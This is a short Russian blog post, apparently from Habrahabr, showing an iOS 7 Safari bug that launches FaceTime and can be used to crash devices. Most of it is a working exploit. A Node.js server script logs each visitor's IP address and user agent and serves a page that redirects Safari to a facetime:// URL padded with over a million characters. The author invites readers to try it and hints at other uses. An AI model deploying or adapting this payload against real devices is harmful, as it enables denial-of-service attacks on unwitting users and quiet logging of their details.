Приятного времени суток, господа и дамы!
Данный пост будет очень короткий, к сожалению, но ведь это демонстрация уязвимости, которой подвержены многие iOS устройства.
Данный пост будет очень короткий, к сожалению, но ведь это демонстрация уязвимости, которой подвержены многие iOS устройства.
Подвержены почти все iOS устройства 7 ветки, и частично 6’ой. Больше не смог протестировать. Буду крайне благодарен, если вы отпишетесь в комментариях о поведении вашего устройства.
Демонстрация работы:
r0sheR.js:
console.log(" _____ _ ______ _ "); console.log(" | _ | | | | ___ \\ (_) "); console.log(" _ __| |/' | ___| |__ ___| |_/ / _ ___ "); console.log("| '__| /| |/ __| '_ \\ / _ \\ / | / __|"); console.log("| | \\ |_/ /\\__ \\ | | | __/ |\\ \\ _| \\__ \\"); console.log("|_| \\___/ |___/_| |_|\\___\\_| \\_(_) |___/"); console.log("r0sheR.js is a part of IOS EX kit _/ |"); console.log(" fil9 (2013) fil9bob@gmail.com |__/"); var lport = process.argv[2]; if (!lport) { console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' [80,8080...]'); process.exit(1) } else { if (lport <= 0 || lport > 65535) { console.log("Invalid port!\n"); process.exit(1) } }; var http = require('http'),fs=require('fs'); http.createServer(function (rq, rs) { rs.writeHead(200, { 'Content-Type': 'text/html' }); console.log('[!] New request from: ' + rq.connection.remoteAddress); console.log('[!] UserAgent: ' + rq.headers['user-agent']); fs.readFile('./page.html', function(err,data){ if (err) throw err; rs.end(data); }); console.log('DOS parcel sent :)') }).listen(lport, '0.0.0.0');
page.html: < — payload отдельно. Как показала практика, так удобней
<html> <head> <title>IOS 7 CRASH</title> </head> <body> <script> document.location.replace("data:text/html,%3Cscript%3Eif(navigator.userAgent.indexOf('Safari') != -1){var a,b='';for(var i=1;i<=300000;i++) a='A'+a; document.location.replace('facetime://'+a+a+a+a)}%3C/script%3E"); </script> </body> </html>
Баг заключается в том, что Safari позволяет запустить FaceTime напрямую. Злоумышленник может воспользоватся этим и вызвать отказ в обслуживании. Ну и кое-что еще.
P.S: Недавно узнал, что в версии iOS 7.0.5 будет закрыта уязвимимость, использованная evasi0n7.
Как знать, может стоит ожидать JB уже для iOS 7.1 🙂
ссылка на оригинал статьи http://habrahabr.ru/post/208356/